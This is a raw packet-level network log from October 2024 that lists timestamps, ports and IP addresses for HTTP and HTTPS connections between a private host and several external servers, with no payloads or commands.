Oct 18, 2024 15:05:00.069670916 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:00.069711924 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.069727898 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.069734097 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:00.069744110 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.069761038 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.069775105 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:00.069776058 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.069792986 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.069808960 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.069818020 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:00.069825888 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.069850922 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.069865942 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.069874048 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:00.069883108 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.069907904 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:00.069907904 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:00.069911957 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.069926977 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.069953918 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.069967985 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.069983959 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.069992065 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:00.069992065 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:00.069998026 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.070014000 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.070030928 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.070044041 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:00.070045948 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.070061922 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.070087910 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:00.070128918 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:00.070158958 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.070173025 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.070193052 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.070209026 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.070228100 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:00.070228100 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:00.071245909 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:00.084630013 CEST	50050	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:05:00.084680080 CEST	443	50050	104.21.53.8	192.168.2.4
Oct 18, 2024 15:05:00.084748030 CEST	50050	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:05:00.085200071 CEST	50050	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:05:00.085221052 CEST	443	50050	104.21.53.8	192.168.2.4
Oct 18, 2024 15:05:00.200074911 CEST	80	50049	185.215.113.37	192.168.2.4
Oct 18, 2024 15:05:00.200129986 CEST	50049	80	192.168.2.4	185.215.113.37
Oct 18, 2024 15:05:00.258970022 CEST	50049	80	192.168.2.4	185.215.113.37
Oct 18, 2024 15:05:00.264027119 CEST	80	50049	185.215.113.37	192.168.2.4
Oct 18, 2024 15:05:00.330420971 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:00.543612003 CEST	80	50049	185.215.113.37	192.168.2.4
Oct 18, 2024 15:05:00.543795109 CEST	50049	80	192.168.2.4	185.215.113.37
Oct 18, 2024 15:05:00.689527988 CEST	443	50050	104.21.53.8	192.168.2.4
Oct 18, 2024 15:05:00.689588070 CEST	50050	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:05:00.694454908 CEST	50050	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:05:00.694464922 CEST	443	50050	104.21.53.8	192.168.2.4
Oct 18, 2024 15:05:00.694660902 CEST	443	50050	104.21.53.8	192.168.2.4
Oct 18, 2024 15:05:00.695882082 CEST	50050	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:05:00.695882082 CEST	50050	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:05:00.695924997 CEST	443	50050	104.21.53.8	192.168.2.4
Oct 18, 2024 15:05:01.068562031 CEST	50048	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:05:01.068923950 CEST	50051	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:05:01.073797941 CEST	80	50051	185.215.113.43	192.168.2.4
Oct 18, 2024 15:05:01.074160099 CEST	50051	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:05:01.074660063 CEST	50051	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:05:01.074836969 CEST	80	50048	185.215.113.43	192.168.2.4
Oct 18, 2024 15:05:01.074882984 CEST	50048	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:05:01.079447031 CEST	80	50051	185.215.113.43	192.168.2.4
Oct 18, 2024 15:05:01.164053917 CEST	443	50050	104.21.53.8	192.168.2.4
Oct 18, 2024 15:05:01.164149046 CEST	443	50050	104.21.53.8	192.168.2.4
Oct 18, 2024 15:05:01.164211988 CEST	50050	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:05:01.165927887 CEST	50050	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:05:01.165927887 CEST	50050	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:05:01.165950060 CEST	443	50050	104.21.53.8	192.168.2.4
Oct 18, 2024 15:05:01.165966034 CEST	443	50050	104.21.53.8	192.168.2.4
Oct 18, 2024 15:05:01.178191900 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:01.183034897 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:01.183132887 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:01.183310986 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:01.188667059 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.009185076 CEST	80	50051	185.215.113.43	192.168.2.4
Oct 18, 2024 15:05:02.009299040 CEST	50051	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:05:02.097043991 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.097055912 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.097071886 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.097083092 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.097094059 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.097125053 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.097125053 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.097165108 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.097176075 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.097199917 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.097239017 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.097256899 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.097268105 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.097275019 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.097296953 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.102051973 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.102065086 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.102077007 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.102092028 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.102114916 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.102143049 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.256742001 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.256845951 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.256897926 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.257304907 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.257317066 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.257327080 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.257356882 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.257453918 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.257464886 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.257478952 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.257493973 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.257514954 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.257813931 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.257827044 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.257846117 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.257857084 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.257860899 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.257868052 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.257882118 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.258502007 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.258521080 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.258533955 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.258543968 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.258579016 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.258795977 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.258843899 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.258856058 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.258881092 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.258924007 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.258934975 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.258945942 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.258963108 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.258987904 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.259737015 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.259746075 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.259779930 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.261847973 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.261950016 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.261992931 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.415297031 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.415322065 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.415335894 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.415344954 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.415352106 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.415368080 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.415412903 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.415419102 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.415429115 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.415445089 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.415461063 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.415465117 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.415477037 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.415519953 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.415529013 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.415558100 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.415637016 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.415647030 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.415657043 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.415677071 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.415693045 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.415755987 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.415780067 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.415788889 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.415816069 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.415935040 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.415973902 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.415978909 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.415991068 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.416001081 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.416018009 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.416670084 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.416693926 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.416704893 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.416706085 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.416740894 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.416757107 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.416766882 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.416776896 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.416788101 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.416795015 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.416820049 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.416841984 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.416851997 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.416861057 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.416877985 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.416881084 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.416892052 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.416902065 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.416913033 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.416913986 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.416946888 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.417578936 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.417592049 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.417610884 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.417622089 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.417629004 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.417632103 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.417643070 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.417646885 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.417655945 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.417663097 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.417692900 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.417741060 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.417751074 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.417762041 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.417773008 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.417778969 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.417783022 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.417797089 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.417817116 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.417840958 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.418271065 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.418282032 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.418315887 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.447587013 CEST	50049	80	192.168.2.4	185.215.113.37
Oct 18, 2024 15:05:02.532334089 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.532354116 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.532367945 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.532417059 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.574270964 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.574315071 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.574331999 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.574330091 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.574342012 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.574353933 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.574364901 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.574374914 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.574382067 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.574388981 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.574393988 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.574405909 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.574414968 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.574418068 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.574440002 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.574498892 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.574507952 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.574526072 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.574536085 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.574536085 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.574546099 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.574553967 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.574557066 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.574568987 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.574578047 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.574601889 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.574640036 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.574680090 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.574692965 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.574722052 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.574767113 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.574779034 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.574784040 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.574811935 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.574893951 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.574912071 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.574927092 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.574949026 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.575031996 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.575042963 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.575073004 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.575139999 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.575175047 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.575195074 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.575258017 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.575268984 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.575274944 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.575304985 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.575319052 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.575330019 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.575361967 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.575368881 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.575380087 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.575396061 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.575450897 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.575462103 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.575464964 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.575474024 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.575484991 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.575485945 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.575510979 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.575608969 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.575622082 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.575632095 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.575644970 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.575658083 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.575680971 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.576186895 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.576199055 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.576205015 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.576229095 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.576236010 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.576241016 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.576251984 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.576275110 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.576823950 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.576838017 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.576854944 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.576864004 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.576890945 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.579435110 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.579466105 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.579478025 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.579518080 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.579519987 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.579535007 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.579545975 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.579560041 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.579561949 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.579579115 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.579602003 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.579613924 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.579624891 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.579637051 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.579653025 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.579677105 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.579689980 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.579699993 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.579711914 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.579720020 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.579725981 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.579737902 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.579746962 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.579751015 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.579771042 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.580215931 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.580226898 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.580236912 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.580249071 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.580257893 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.580260038 CEST	80	50052	185.215.113.103	192.168.2.4
